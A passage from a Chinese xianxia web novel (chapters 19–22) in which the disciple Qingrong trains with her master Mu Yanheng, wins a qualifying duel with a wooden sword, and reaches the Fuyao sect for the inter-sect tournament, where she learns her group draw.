就在青容想要召唤出鎏虹剑的霎那,攻势停住了,一柄泛着浅蓝弧光的银白长剑以剑尖对着她,停在了她心口前三寸,随之停下的还有阴冷的肃杀之气,剑刃微鸣,如霜白的月华。
她自然见过这把剑,名唤昆吾。
是慕砚恒的佩剑。
惊愕过后,青容心头随之来了些火气,她没有偏头,只保持着刚刚的姿势将已经断掉的木剑扔在地上:“师父这是做什么?”
“看看你的剑术如何,而已。”
慕砚恒轻飘飘一摊手,昆吾剑便乖乖回到了他手里,他神色寡淡,仿佛刚刚只是一场无关紧要的玩笑:“你右手的剑术,似乎比你练了几年的左手剑术要好的多。”
青容明白了,他是在试探。
可好端端的怎么就想起来试探她了?还是试探她右手剑术这种正常人根本不会在意的东西。
“情急之下,超常发挥,只是师父此番作为很是吓人,若隔几天来这么一遭,徒儿怕是撑不到仙门大会。”
幸好她用的只是木剑,而且事发突然,招式到底慌乱了些,又以防守为主,也发挥不出什么水准,还能勉强搪塞一下。
慕砚恒静静看着她,忽的上前两步,难得嘴角勾出一抹笑来,只是这笑意未至眼底,结合当下便显得阴恻恻的:“是吗?从入门第一天,你和欧阳晔交手时为师便能看出,阿容右手这剑术可不一般,若是再多练几年,倒是能跻身长老之位。”
几年前的事居然能暗地里记这么久,并且至今才提出来,青容哽住,还没想出再寻个什么借口,慕砚恒却话锋一转,将剑收至身侧再重新往后退了几步,似乎一切疑点都心照不宣被凭空抹去:“不过部分招式还是有些缺陷,你过来。”
青容没动,神色间有明显的警惕,她没想藏这个情绪,可慕砚恒像是没察觉到一样,目光沉静,语气漠然,说的话却不像他表面上那般疏离。
“我教你。”
19. 明媚
思来想去,虽然这个试探简直莫名其妙,可慕砚恒刚刚也确实有所收手——此人性子向来阴晴不定,令人捉摸不透,但还不至于到疯癫的地步,她也不是担心自己被痛下杀手,只是怕又要来一波什么幺蛾子。
于是她道:“我的剑断了。”
“我正想问你,若不是剑断了,你是打算带着这个木剑上场?”
临霜教贵为如今修真界第一门派,自然也不会扣扣搜搜,弟子们入门第一天就可以领一柄上乘铁剑,后续拜师更是可以拥有专属于自己的剑,像欧阳晔他们几个顶尖弟子,早早的连剑名都取好了。
青容这种算是例外。
她入门方式特殊,没有正式的拜师大典,慕砚恒也就没按照仪式流程赐予她武器,弟子们统一用的铁剑她又嫌重,就干脆自己削了把木剑,结果还挺趁手,这么多年便一直未换,也未曾和慕砚恒提过没配剑的事。
陆怀夕他们叨叨了好多回她这武器属实寒碜,可鎏虹属轻剑,她千年来用惯了,木剑是和她出招习性最为相似的,反而比寻常铁剑要好上许多。
如今断了,倒是有几分惋惜。
“徒儿觉得……木剑挺好,其实不用铁剑也没事。”她说。
这本是实话,然而在慕砚恒听来,就是另一个意思了。
他缄口不言,本凌厉的神色忽的柔和了些,拿在手上的昆吾被他默不作声收了回去。短暂犹豫后,他捡起地上一根刚刚掉落不久的树枝,剥去残叶,转而递给青容。
“今天先用这个,近期事务繁忙实在抽不开身,等半个月后仙门大比结束,为师给你造把剑。”
青容闻言微惊,居然只剩半个月了,她这没日没夜的修炼当真有些顾不得日月交替,只是慕砚恒这个承诺,乍一听还行,但……
等仙门大比……结束?
回头等剑送到她手上,她估计已经因为没武器用让人踹下擂台好几天了,这个饼画的简直十分不令人期待。
不过她面上还是恭维的,勉强挤出些笑意:“多谢师父。”
“嗯。”慕砚恒又捡起一根树枝,只是这次懒得再剥叶,“那现在,为师教你些起手招式,看好。”
临霜教本就地处优越,栖星阁更是常年仙云缭绕,正午的阳光并不刺眼,照在身上令山顶的寒凉中带着些许暖意。青容就这么坐在石阶上,晒着太阳,看慕砚恒舞剑。
可准确来说,并不是舞剑。
和晨练的那些一招一式不一样,慕砚恒出招很快,动作行云流水却总是带着几分时刻置人于死地的狠厉。青容托着腮,胳膊肘撑在自己的膝盖上,目不转睛盯着慕砚恒的手腕。
她在仙界向来都是看书自学,自己杂糅出一套乱七八糟的剑法,如今细看这些传承千百年的名家标准剑术,确实是能学到点东西的。
慕砚恒自己示范了一套,便让她跟着也练一次,这些招数其实晨练都有教过,只是慕砚恒使得攻击性更重些,青容晨练再怎么浑水摸鱼,这些大致招式也早就记住了。
她以树枝为剑,仿着慕砚恒的剑术习惯开始挥舞手腕,只是没几秒便被接二连三打断。
“这里偏了一寸,再往上抬点。”
“力气大了,收一些,否则下一式前会有停滞。”
“力气又小了,这点力会被震,小心被夺剑。”
“……”
青容自己都不知道自己剑术有这么多毛病,还都是这些吹毛求疵的细节,若不是慕砚恒面色端肃,她简直要怀疑这人是故意找茬。
这段“找茬”持续了近两个时辰,青容已经感受到了手臂的酸痛,里衣也已因出汗黏在身上,慕砚恒这才点点头:“嗯,重复了几次,目前已无问题,你明日可以找你师兄师姐再对练。”
对练个头啊,剑都没了,用树枝吗?
青容累得微微喘气,将树枝扔到一边,目光幽怨——这慕砚恒纯粹口头指导,人坐在树下喝凉茶,惬意得很,留她晒太阳晒到太阳落山。
也不想起来给她倒一杯。
哎。
她叹了口气,将衣袖撩了起来,拇指摁在酸痛的地方揉了揉,指腹也接触到了皮肤上轻微的崎岖。
那是六年前在火海里留下的伤口,因为第一时间没处理好,还是留下了浅浅的疤痕。
她揣了点故意为之的心思,就是想让慕砚恒瞄两眼,指望他良心发现,起码劳驾给她倒杯茶水也是好的,她都要渴死了。
谁知,慕砚恒起身,抖抖衣袖,头也不回便走,甚至步履带风,赶着回去吃饭似的,半点不搭理她的暗示。
青容:“……”
也就她身上揣了个任务,外加心态强大,这要换个人当他徒弟,迟早心理抑郁,指不定未来有一天就走火入魔欺师灭祖。
她将地上的树枝又捡了起来,发泄一般对着空气挥了两下,又觉得无趣,想着还不如回去早早洗个澡,谁知刚一转身,便猛的对上了去而复返的慕砚恒。
暮色夕光下,青年向来清冷的身影似乎被晕上一层柔和,他手里拿着个青瓷杯子,杯口有一圈萦绕的白雾,一如栖星阁周遭经年缥缈的雾岚。
“出了汗,喝点温的。”他将杯子递了过来。
青容盯着他的指尖,难得愣了愣。
这本是极为正常的长辈关怀,然而出现在慕砚恒身上便显得十分稀有,青容接过水杯,话音卡在嗓子里转了几圈轱辘,终于滚出几个字:“……谢谢师父。”
以往她装成嘴甜模样的时候不少,可真的心存感激时,她反而有些别扭。
但这稀罕的感激之情并没有存在太久,尤其是仙门大比开始前三天,她拿着一柄些许残破的木剑被迫上场时,便彻底荡然无存。
慕砚恒确实说话算话,说大比之后给她铸剑,那大比前就绝对没有,这木剑还是她自己削出来的。
青容恨不得捂着心脏直接倒在擂台上。
“哎?师妹怎么了?不舒服吗?”站在她对面的弟子面色颇为担忧。
青容深吸一口气:“啊,无妨的,师兄请出招吧。”
五大仙门联合举行的仙门大比是有一定参赛名额限制的,每个门派仅有三十二个报名名次,自然不可能人人都能参与。例如临霜教,便是三位执教在百余名弟子中挑选出合适人选参加大比,而被挑选中的三十二人也只是初定名额。
因为,为了公平起见,没有被选中的弟子拥有一次机会,可以指定挑战任何一位初定名额中的弟子,如果取胜,便能取而代之。
这个机会固然珍贵,因此人选中实力相对弱一点的弟子就成了香饽饽,是个人就想啃一口。
青容就是那个倒霉的香饽饽。
她倒不是因为公认实力弱
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,只是她确实是这一批人选里年纪最小入门时间也最短的,平日里晨练更是出了名的浑水摸鱼,一定程度上来说确实相对好欺负。
只是她毕竟是慕砚恒唯一的弟子,近些年慕砚恒又明显护着她,弟子们都怕得罪护教,一开始并没人对她出剑。
直到挑战的弟子轮了大半,实在找不到软柿子捏,终于有个胆大的人战战兢兢开口:“弟子……弟子想要挑战青容师妹。”
这是所有弟子心照不宣也期待已久的热闹。
话音落下时,几乎所有人的目光都定在了慕砚恒身上,带着些许试探之意。欧阳晔和龚柏清对视一眼,两人又同时看向陆怀夕,陆怀夕也是摇摇头,和他们一样神色颇为担忧。
只有青容自顾自叹了口气,瞥了眼她寒碜的木剑。
她清楚得很,慕砚恒是不可能在这件事上护短的,她也并不想走这个捷径,否则不仅是对他人的不公,也是对护教弟子身份的侮辱。
果然,慕砚恒没有吭声。
青容拿起这柄坑坑洼洼的木剑,接了战,一跃登上擂台时,很显然,她对面的师兄对她的武器十分震惊,仿佛是在思考门派何时穷成这个地步,以至于青容面色不大好看,才有了刚刚的对话。
但她既说了无妨,弟子自然也不好再问什么,简单行礼后,伴随着拔剑的鸣响,青容的左手同时捏紧剑柄,眼神是从未有过的犀利。
说不紧张是假的。
这是她入门六年以来,第一次同人正式交手,且是在这么多人的注视下,但说过于紧张倒也不至于,她对自己的剑术还是颇为自信,用左手只是为了匹配她这个年纪该有的生涩,真到了一定程度……那就换手呗。
反正都是她自己练出来的,也不算作弊。
两人快速过招,青容求稳起见,一开始是防守姿态,想要试探一番,然而她很快发现对面的招式在她眼中宛如慢动作,好避的很,甚至有无数可以以此就地反击的漏洞。
她本来还担心这是故意显露的破绽,直到随着时间推移,对方进攻剑招中的急躁之意愈发明显,她终于意识到一点不对。
她似乎有些谨慎过头了。
欧阳晔那小子虽然看起来傻乎乎,但毕竟是掌教亲传弟子,剑术水平隶属上游,和这小子打多了,她险些忘记寻常弟子本不该有如此水准。
若真能和欧阳晔争个高下,也不至于落选大比。
念及于此,青容暗自运转内力,对面攻势再度袭来,招式依旧犀利而凌乱,只是这一次她没有避开。
在旁人眼中,青容几乎是被压着打到了现在,至今没有反手转势的迹象,已有不少人暗自感慨护教这破例收的徒弟委实一般,居然能被一个普通弟子打成这样,哪怕入门时间尚短,但这也着实差了些。
她还身份特殊,这要是放去仙门大比,不得把门派的脸丢尽。
忧愁之意开始浮现在长老们的脸上,只是这忧愁还没浮个彻底,便听到台上突然间“铮”的一声响,紧接着在一片惊呼声中,一柄铁剑就这么摔在了地上。
嘈杂过后,便是鸦雀无声。
只瞬息之间,形势天翻地覆,连陵渊都瞪大了眼,一副难以置信的模样。
青容的木剑就架在对方的脖子上,她笑得恣意而明媚,一如晨间乍破云层的暖阳。
“师兄,承让。”
20. 人情味
被压着打了一整局,最后时刻反击绝杀,听起来是运气不错,抓住了难得的机会,然而认真从头看到尾的高手并不会这么想。
青容出招之凌厉,精准,从容,这并不是临时抓住机会便可以发挥出来的,只有一种情况能解释——她故意让了很久,或者说观察了很久,再以最恰当的时机一击制胜,干净利落。
这是不清楚对方水平时最合适的擂台对战方式,只是大多数弟子初出茅庐,没有掌控全局的水平,也没有这样不骄不躁的稳定心态。
但年仅十三岁的青容能做到,且做的相当成功。
与青容对战的弟子是最能察觉到他们实力偏差的人,转势的瞬息几乎没有任何还手之力,他不禁咽了口唾沫,心道自己简直愚蠢,居然胆敢妄想把护教的弟子当成软柿子捏。
他后退两步,对着比自己矮一个头的青容结结实实行了个礼:“师妹,受教了。”
另一边,欧阳晔早就看傻了眼,他晃了晃龚柏清的肩膀:“大师兄,她平常晨练也这么强吗?”
“你又不是不知道,她晨练能逃就逃,一个月有二十天都在寻理由不来,剩下十天晃两下剑做样子。”龚柏清也是一脸惊奇,“你平日不是经常和她切磋?”
“平常她的剑没这么快,也没这么玩心思,我和她打那会都还寻思收敛点别伤到她呢,合着她也没尽全力。”
陆怀夕插了一嘴:“护教加练了吧,这段时间都没怎么看到他俩。”
“谁知道呢,啊啊啊我要疯了,这竞争对手来的太早了点,早知道应该忽悠她年纪轻轻得多玩玩,别一天到晚闭关修炼,这下好了,我都要打不过她了!”欧阳晔垂头丧气,跟天塌了似的。
青容能听到附近隐约的叽叽喳喳,但听不清具体在说什么,她对师兄回礼后,便下意识看向高台上的人。
慕砚恒也在看她,表情依旧是淡淡的,并没有夸赞或者指点的势头。
她顿了顿,倒也没多在意,这些博弈本就是慕砚恒教她的,她很好的完成了而已,打个寻常入门弟子,慕砚恒能夸出花来那才是见鬼。
当然,能夸一下最好,她暗戳戳想。
经此一役,再没人胆敢把青容当软柿子香饽饽,寻常弟子剖析不出博弈细节,但能看出她的剑有多快,自然是避而不及,不敢再对她拔剑。
又短暂折腾一番后,参与大比的三十二个人选算是彻底定了下来,青容避开欧阳晔的追问,脚底生风似的蹿到了慕砚恒身侧。
“渴了。”她说。
慕砚恒瞥了她一眼,递过去一个水壶,青容毫不客气的接过,闷了几大口,水果然是温的,带着一丝清甜味,滑过喉咙很是舒服。
追过来的欧阳晔见到这一幕,登时原地站立再不敢往前挪一点——哪怕入门多年,他和众弟子一样,对慕砚恒依旧是打心底的怕,平常能绕都是绕道走,整个门派估计也就青容敢这么找慕砚恒讨水喝。
“怎么了?”恰巧路过的江溪闻拍了拍他的肩,顺着他的目光望过去,“找师妹有话说?”
欧阳晔撇撇嘴:“没有,首席师兄,我就是感觉……小师妹好像很强很强,以后还会更强。”
“护教的徒弟自然优秀,但师弟也很强。”江溪闻笑了笑,“同辈里,师弟似乎一直是佼佼者。”
欧阳晔面带苦涩:“哎,上次倒在十六强,今年又会有新的一批人,还不知道有没有机会进八强。”
仙门大比的五大门派,每个门派出三十二名弟子,合计一百六十人。临霜教规定,能在对战中进前五十名的弟子,就会升为进阶弟子。
再通过层层筛选脱颖而出的前十六人,对战后会定出最终排名,而临霜教成为高阶弟子的条件,便是进入前八。
很苛刻,也很艰难,哪怕临霜教弟子多年来在最终排名中绝对占优,但四年时光,不知又会出多少天才,尤其最后的淘汰制过于残忍,没人敢笃定自己一定能进这个八强。
具体规则慕砚恒也和青容讲过,青容倒很快接受,甚至觉得这个大比的容错性还挺大,起码比刚刚输了就滚蛋的容错性大。
“明日便走了。”慕砚恒冷不丁说,“有什么东西需要带的,你回去可以收拾一番。”
今年大比是在扶摇宗举行,其他四个门派通常都会提前一两日抵达,临霜教作为如今仙门之首,倒也没什么必须最后压轴抵达的架子,一般都是提前两日到。
青容出门向来简朴,此次自然也没有特殊:“没什么要收拾的,带点衣服就可以。”
两人缓步同行,慕砚恒默然片刻,似有思虑,片刻后还是轻声开口:“第一次参与仙门大比,你兴致瞧着倒是不高?”
这种全仙门最热闹的活动,几乎任何一个弟子初次参与都是极其激动的,青容的表现倒十分平静,几乎都能够的上沉稳两字。
青容闻言哭笑不得,她又不是真的青涩少年,哪怕内心期待,也不会表现出过多,但既然说都这样说了,她当然还是得捧个场:“我很期待啊师父,就是徒儿年岁渐长,总不能像之前那般大呼小叫了,徒儿最近已经暗自下决心,要成为像师父一样稳重温和的人,师父这般好,徒儿总是要当成榜样的。”
这些话把慕砚恒也夸了一番,可谓是十全十美,非常得体。
只是慕砚恒其实鲜少被人夸赞除年少有为以外的东西,尤其是温和这种词汇,陡然听到这么些话,慕砚恒有一瞬间的怔忡,他垂眼看着青容,眸中依旧瞧不出什么情绪,甚至眉心有轻微蹙起。
没有前例,他不知道这种时候应该说什么,可这么僵着也不是办法,显得太不近人情。
那就……
他缓缓抬起手,轻轻碰了碰青容的头顶,动作很是生疏,好像四肢都被冻住了一般。两人并没有走远,附近还有许多弟子,见到这一幕直接一个哆嗦,差点集体连剑都拿不稳。
活见鬼了这是,护教居然还有这么充满关怀的一面。
青容也是内心震惊了一番,心道果然男人都爱听夸出花来的好话,慕砚恒也不例外,以后她还得多夸夸才是。
慕砚恒做这个动作也是浑身别扭,很快便收回手,一副什么也没发生的淡然模样,但青容心里清楚得很,这个人已经不像一开始那般冷漠了,总归对她逐渐有了一丝常人该有的人情味。
起码外表上是这样。
“走吧。”他说。
…
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仙门大比的确是各大仙门最热闹的活动,临霜教提前两日抵达扶摇宗时,基本的招待早已提前布置好,他们被守山弟子引入北院稍作休憩,几个教主长老包括慕砚恒则去了大殿,接受扶摇宗宗主的接见。
望着慕砚恒离开的背影,青容有点懵:“我们不用去吗?”
“弟子不用的。”龚柏清解释道,“这么多人呢,一个个接见多麻烦,基本就是掌教他们去应付,我们就在这待到仙门大比当日再过去,不过这两天按理说是可以随处走动的。”
修真门派近年来很是和谐,各掌教之间关系也不错,因此没那么多弯弯绕绕的拘束,来者皆是客,所以对弟子们也很宽容,以扶摇宗为例,做客的四个门派分别居住在东南西北四院,相互串门也是常态。
欧阳晔:“这次几个门派来的都挺早的,我们好像还是最后一个,听闻扶摇宗的酒很是不错,估计都想提前来,多讨几杯,你们要不要也喝点?”
青容对酒兴趣不大,便没有应声,欧阳晔说完后却非得看着她,好像就等她一句话似的。
“我不喝酒的。”青容连忙拒绝。
她上次喝酒还是六年前那次皇家宴席,慕砚恒给她灌了一杯,直接给她灌晕了,从那之后她基本也就清楚自己酒量是个什么德性,因此能不沾就绝对不沾。
“好吧。”欧阳晔自然也不会非拉着女生喝酒,于是便喊了一群和他同样想法的人,他们早就打听到前厅有专人招待,就是给人送酒的,不喝白不喝。
一伙人像个初出茅庐的强盗似的大摇大摆走了。
没去的人例如龚柏清,便对余下弟子简单嘱咐了几句,并推荐他们可以四处走走,领略别宗风采。青容本身不是讨厌热闹的人,正巧陆怀夕也拉着她说要到处看看,她一想,便点头应了。
相比于临霜教的仙气缥缈,扶摇宗相对简朴些,但山石更为崎岖陡峭,弯弯绕绕很容易迷路。幸而扶摇宗早做了准备,在岔口都设置了引路标记,再不济也可以直接御剑,总不至于直接迷路。
正如欧阳晔所说,临霜教还真是来的最晚的门派,路上她看到不少其他门派的弟子,甚至都用不上鎏虹,陆怀夕就会给她一一介绍。
“这个是恒山的,专门玩短刺,主打一个快准狠,对上可得小心,那个是四方阁,玩长刀长枪,得找机会缠近身,还有那个紫衣服的,门派名唤半月谷,武器为鞭,躲起来很麻烦,但反击也最快,听闻半月谷还有个大瓜,你要不要听?”
关于门派特性与武器,慕砚恒是和她说过的,但八卦自然不会和她说,青容本来是顺耳听听,闻言来了劲:“什么瓜?”
陆怀夕一副神秘兮兮的模样,她将青容拉至角落,放低声音:“半月谷的谷主,几年前收了一位男弟子,本来一切正常,结果你猜怎么着?那男弟子长大后突然对她表白了!还是当着许多人的面,所以传了出来,虽然被当场拒绝,但这消息压都压不住啊。”
青容:“……”
怎么的,这种事未来还不是个例了?
她就不该好奇,不然等下陆怀夕问她她怎么看,她都不知道该说什么。
“你怎么看?”
“……”
21. 分组
扶摇宗带着轻微酒香的空气有一瞬间的滞涩,青容挠挠手腕,打了个哈哈:“嗯……这事确实影响不好,有错,有错的。”
“哎,半月谷谷主长得特别漂亮,和我师父一样是当世英才,可惜沾上这么个事,他们都说是谷主教导无方,我却认为那男弟子错误更大,也快二十岁了,又不是小孩子,但凡口中有个把门,也做不出在大殿上告白这种带着威逼的事。”
青容一想也是,师徒伦常这种连几岁小孩都明白的事情,十几二十岁的人不可能一无所知,就算抛去这个,仅从喜欢来谈,若真喜欢,那也该是藏在心里,寻个合适的时机去谈,而不是在大庭广众之下,当着众人的面诉说。
这就带着道德绑架和两败俱伤的意味了。
“嗯,确实混账。”青容点点头,表示赞同。
她肯定干不出当众告白这种事,吃不到回旋镖,单这个行为自然随便骂,至于那什么伦常……打打马虎眼过去算了。
谁知,她话音刚落,一道沉闷的破空声猛然从身后逼近,青容和陆怀夕近乎同时反应过来,两人往左右两侧一避,一条长鞭直接拍在地上,掀起一片沙石。
“大胆!竟敢妄议师父!”
青容微微蹙眉,抬眼看过去,那是一个紫衣少女,十六七岁模样,长得娇俏可人,只是面色着实有些凶狠,长鞭另一头被她捏在手中紧紧攥住,好像要将俩劈开似的。
听这称呼,估计是半月谷谷主的徒弟,那混账东西应该是她的师兄。
毕竟是背后嚼舌根,被当场发现确实挺尴尬,青容先陆怀夕一步直截了当表达歉意:“抱歉,确实是我们言语不周,还请姐姐见谅。”
门派出了个人尽皆知的丑事,那少女本就心中有气,但给她道歉的看起来才是个十二三岁的女孩,且态度很是陈恳,她满腔的气便有些无处发泄,鞭子被她默默收了回去,只是口中还是忍不住骂骂咧咧:“你们是临霜教的弟子吧,你们掌教没教过你们,公众之地,不能背后议论其他门派掌门的事吗?”
陵渊有没有教过记不清了,反正慕砚恒没教过。
“嗯……实在抱歉。”青容保持诚恳。
正常来说应该客套两句说来日上门赔礼,但这毕竟不是什么好事,能翻过去还是直接过去的好。
那少女噎了噎,又哼哼两声:“你二人是哪个长老门下弟子?这般自在,看来临霜教也并非传闻那般刻板。”
这是翻篇的意思了。
青容戳戳陆怀夕,陆怀夕一个激灵:“哦哦,在下是司教座下弟子,陆怀夕,幸会。”
听到司教的称号,少女的眼睛亮了亮,面上阴沉消散了些:“哦,是你,我听师父提过你的,我叫程嘉,是半月谷谷主座下二弟子。”
师语楼和半月谷谷主夏扶笙,两人相识多年,是修真门派出了名的闺阁密友,这个消息青容也是听闻过的,当下便没吭声,想着得找个机会跑路,让她俩聊聊就行。
程嘉得知了对方身份,语气稍稍好了些,但依旧垮着脸:“那她呢?是你同门师妹?”
溜了一半的青容突然被点名,心中非常苦涩,她轻吸一口气,抢在陆怀夕前面道:“我啊……就是普通长老门下的,普通弟子。”
刚刚那番纠纷,周围已经来了不少看热闹的人,她才不想自曝身份,回头挨训。
“年纪这般小,想必是第一次参加大比,罢了,我也不和小孩计较,只是你这个……武器……”程嘉瞥了眼青容手中的木剑,略有些呆滞,“你师父都不给你铸剑吗?这么抠?”
这话比背后八卦被逮住还吓人,陆怀夕差点晕过去:“她师父……自有打算的,嗯!”
青容也点点头:“嗯嗯。”
程嘉:“……”
话题正微微僵持,青容忽然感觉到有人拍了拍她的肩,她本以为是欧阳晔,伴随着转身,打他的手已经同时举到了半空。
然后在看清来人的下一秒就火速收了回去。
“首席师兄。”青容尴尬一笑。
江溪闻看到这边聚集了不少人,人群中央还是个熟悉身影,他自然赶了过来,倒也没太注意青容的动作:“这是怎么了?”
“没什么。”三个人同时开口。
江溪闻:“……”
“已经解决了。”青容信誓旦旦,“正好困乏,我这就回去歇息。”
只是江溪闻倏然出现在这里,本是围观默默看热闹的人见到他的模样,目光定住的同时都开始忍不住议论。
“听闻临霜教出美男,今日一见果真并非虚言。”
“听小姑娘的称呼……这是临霜那位首席弟子吧,上上届仙门大比他参加了的,十分厉害,果真英雄年少。”
“还有临霜掌教门下龚柏清,温润俊雅,却剑术高超,是上一届的八强,同门的欧阳晔应当也会来,那也是一等一的俊逸。”
“说到脸长得好这件事,你们都不敢讨论吗……半月谷那位……”
“慎言!这可不兴议论。”
像是戳到了什么趋之若鹜的东西一样,议论声登时小了许多,青容一听就明白他们在避谁的名号,她自然不会出声,只默默远离人群,同时心想,若非如程嘉所说,仙门规定不可妄议各派掌门,以慕砚恒那张脸应该也会被拖出来说两句吧。
这规矩慕砚恒也没教过她,今天方才得知,幸好没出什么事。
说困乏并不是借口,她的确想小憩一会,就连鎏虹想给她介绍那个男弟子的信息她都直接婉拒。
御剑过来也是挺累的,虽然不是她御,而且这段时间由着慕砚恒加练,她确实需要歇息一两日恢复精力。
江溪闻将她送回了北院,顺便嘱咐了两句:“晚上会有人送餐,记得按时吃饭。”
“好的师兄。”
青容答应的顺口,忘的也顺,她几乎一觉睡到了第二天早上,连梦都没怎么做,若非有人敲门,她都不知道自己得睡到何时。
“师妹?在吗?”门外是龚柏清的声音。
迷迷糊糊醒来的时候,青容有点头晕,也不知因为是睡了太久,还是地方陌生不适应。敲门声又响了响,青容打了个哈欠,终于艰难坐起:“大师兄,我在的。”
“在就好,师兄顺路来给你送个早饭,看昨晚送来的晚饭你放在门口没动,还以为你一直都不在呢。”
青容将头发简单扎了一下,半眯着眼拖着步子打开门,见到她这模样,龚柏清明显愣了愣:“你刚醒?”
“嗯……”青容还带点鼻音,整个人懒懒散散的,“好像是一觉睡的有点沉。”
龚柏清啧啧两声,轻笑:“怪不得晨练总请假,你先洗漱吧,早饭给你拿来了,吃
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完记得去大殿看分组。”
“分组出了?”
“大概再过一炷香就出了,明日大比正式开始,你看完名单知晓第一轮对手后,可以去寻护教指点,第一轮最好求稳,你第一次参加大比,对方不清楚你的实力习性,这对你有利。”
青容点点头。
她快速洗漱完毕,吃完早饭,整妆完时已经有许多弟子遇剑而去,陆怀夕等人也在门口等她,见她出门后立刻招手:“快快快,出分组了,走!”
她叼着半个苹果,就这么被连拉带拽拉去了大殿。
落地时,望着乌泱泱一大片弟子,青容有些震惊:“这么多人啊。”
估计有许多弟子一大早就蹲在这等分组了,她们来的算晚的,一时有些挤不进去。
想起早上险些睡过头的事,青容抿抿嘴:“抱歉啊,是我耽误了些时间。”
欧阳晔摇头:“没事,又不是看不到,等他们看完了我们再去。”
幸而他们没等多久,大部分人看完分组和第一轮抽签结果就赶着回去研究对手了,青容很快挤到了最前面,眼睛挨个扫过每个人的名字。
初轮晋级赛的分组是十组,一组十六人,每组会有五人晋级,除去最后淘汰赛的一局定胜负,前面两大轮都算是积分制,有一定容错,青容倒并不是太担心会分在什么魔鬼组里。
但是……
“什么意思欧阳晔?”青容看着旁边同样凑过来的脑袋,“怎么哪都有你?”
欧阳晔一脸尴尬无辜:“我不知道啊。”
他俩居然在同一个组里,不过抽签有同门派回避,他们前两轮不会遇上。
仙门大比初轮的赛制,第一轮随机抽签对决,决出八人胜和八人负,分胜者组和败者组,于各自组内再次抽签决出第二轮。
二轮后,会有四人取两胜,四人取两败,八人一胜一负。两败者直接出局。
慕砚恒和她说这个规则的时候,她其实觉得有些残忍,毕竟两轮就和大比告别属实太快了些,慕砚恒那时瞥了她一眼:“一败是失误或签运不好,两败就是能力不够,连输给别人的人都打不过,有什么资格让五大门派那么多人看他找回面子?”
话难听,但是事实。
“我们前两轮必须全胜。”欧阳晔小声说,“否则要是在第三轮的胜负组遇上,我俩会滚蛋一个。”
取两胜的四人一样在组内抽签对决,胜者直接晋级,战败的两人和一胜一负组之间再战后胜出的四人进行最后一小轮对决,也就是各自取得两胜一负的六个人进行最终对战后会有三人晋级。(注)
算上提前晋级的两人,十个组,每组加起来晋级五人,便是初大轮后的前五十名。
打了几年,居然仙门大比也在同一组,青容无奈,欧阳晔并不是软柿子,无论从对手还是门派整体来说,这对他俩都不算什么好分组。
她还没来得及感慨,身边就又多了个人,她认出那正是昨日刚见的程嘉,这才想起,刚刚同组的名单里……好像也有这个名字。
与此同时,程嘉似乎倒吸了口气。
“青容?怎么撞上这个人了?哎呀好麻烦哦。”她也看见了身侧的少女,登时放低声音,一副神秘模样,“你在哪组啊?我和你说,我和青容一组,这不倒大霉了!”
青容:“……”
22. 道貌岸然
她肘了一下刚要开口的欧阳晔,而后眨巴眼:“为什么说是倒霉呢?”
附近人太多,程嘉并没有注意到青容身后吹胡子瞪眼的少年,反而因青容的话微微一惊:“这是你们门派的人,你竟不了解?”
“了解……的吧?”青容摇摇头,“平日没怎么见过,只是听闻了些大概,她似乎修为并不高强,且没有参赛经验,和她分一组应当并不算差签。”
她说起谎来面色极其平静,一副侃侃而谈别人家八卦的模样,欧阳晔不忍直视,默默往后退了两步,以免干扰她发挥。
程嘉欲言又止,瞧着大概并不乐意做她所嗤之以鼻的“背后议论他人”之事,但青容这不通世事的懵懂模样,实在让她忍不住解释:“不是这个原因,她既为你们护教唯一的弟子,必得护教爱护,况且还是以特殊方式入门,定然不同凡响,先不说与她对战的弟子会不会有所顾忌,光你们护教就定会搜罗来一切奇珍宝剑,助她赢下这场比赛。”
青容:“……”
她怎么不知道她有奇珍宝剑这件事。
只是实际上,这种破例收徒,还是亲传弟子,放在任何一个门派都是被议论的对象。七年前慕砚恒破例收徒这桩事,当时掀起的轰动远比青容所见的多的多,只这次青容参加大比,其他门派的议论也绝不止程嘉所说的这些。
或者说,要更刻薄。
程嘉轻叹口气,见青容仍旧一副茫然模样,显得天真烂漫的,她忽的有些后悔刚刚一骨碌说了这么多:“不聊了不聊了,同组还有欧阳晔呢,这才是我这组真正的大麻烦。”
身后人忍不住探头,青容又捏了他一把:“哦哦,确实是个麻烦。”
“说来,你是第几组?”
青容瞥了眼就在她眼前的名单,用只有两个人能听到的声音说:“第十组。”
程嘉一惊:“我也是第十组,这可太巧了,那你……”她忽的意识到什么,眉头一皱,重新盯着旁边的名单,一个个对比,“不对啊,除了青容是第一次参与大比,其他人上一届都来了的,我都见过啊,你……”
伴随着话音的终止,指尖顺着名单划过,停在最后一行“青容”二字上,程嘉愣住,意识到什么,猛的倒吸一口冷气。
她手指触碳似的收回,视线在青容和名单之间来回转动,不经意就看到了青容身后一道不知何时靠近的白色身影,那倒吸的冷气连带着发颤,一点点吐出来,竟连呼吸都不敢大声。
和她的反应一样,周围的弟子仿佛一瞬间集体噤了声,与此同时,那人停在了青容身侧。
眉目疏淡,清冷矜贵,这是修真界每个弟子都遥遥仰望崇敬,却又避之不及的人。
慕砚恒来的极其随意,直至现在也只是闲庭散步恰好路过的模样,连临霜弟子都找不到行礼的时机。
他好像没有看到青容,只是静静打量第五组第一轮抽签的情况。刚刚拥挤的弟子已不知不觉给他让出一条道,还给他周身空出了一大片地方。
分组和第一轮对手都是随机抽签,由大比所在的门派安排发布,其他四个门派的执教一般会单独再收到一份详细名单,只是相对慢一些。
像慕砚恒这种凑到大殿来看的执教,并不罕见,但放在慕砚恒这个人身上便显得异乎寻常。
他上一届并未如此,如今此举任何人都能猜到,是为了谁。
青容没有开口,慕砚恒也没看她,两人像是形成了同样的默契,各干各的事,互不干扰。
终于,慕砚恒看完了名单,他轻轻一拂衣袖,堪称原路返回,自始至终没和青容有任何眼神交流。
欧阳晔目瞪口呆,但随机反应了过来,护教这是不打算在这里暴露青容的身份,否则那被压抑住的议论估计会无声的喷涌而出,目光的聚焦对青容没有任何好处。
只看一下名单,大家还可以心照不宣,当做无事发生,同时也体现出他的重视,让本打算嘀咕几句的人也有所惧怕,不敢多言。
只有程嘉傻了眼,呆呆看着慕砚恒御剑离开的背影,又看看青容,青容对她回了个笑,很是自然,仿佛刚刚此地的不速之客只是个错觉。
“我走了哦,程姐姐,那就……明天见?”
“明……”程嘉咽了口唾沫,“明天见……”
…
青容回去的时候,慕砚恒就在她房前等她。
欧阳晔自觉离开,青容放下木剑,沏了杯茶递过去:“师父。”
慕砚恒顺手接过,开门见山:“这个分组里,欧阳晔是你最麻烦的对手。”
“嗯,弟子知道他很厉害。”
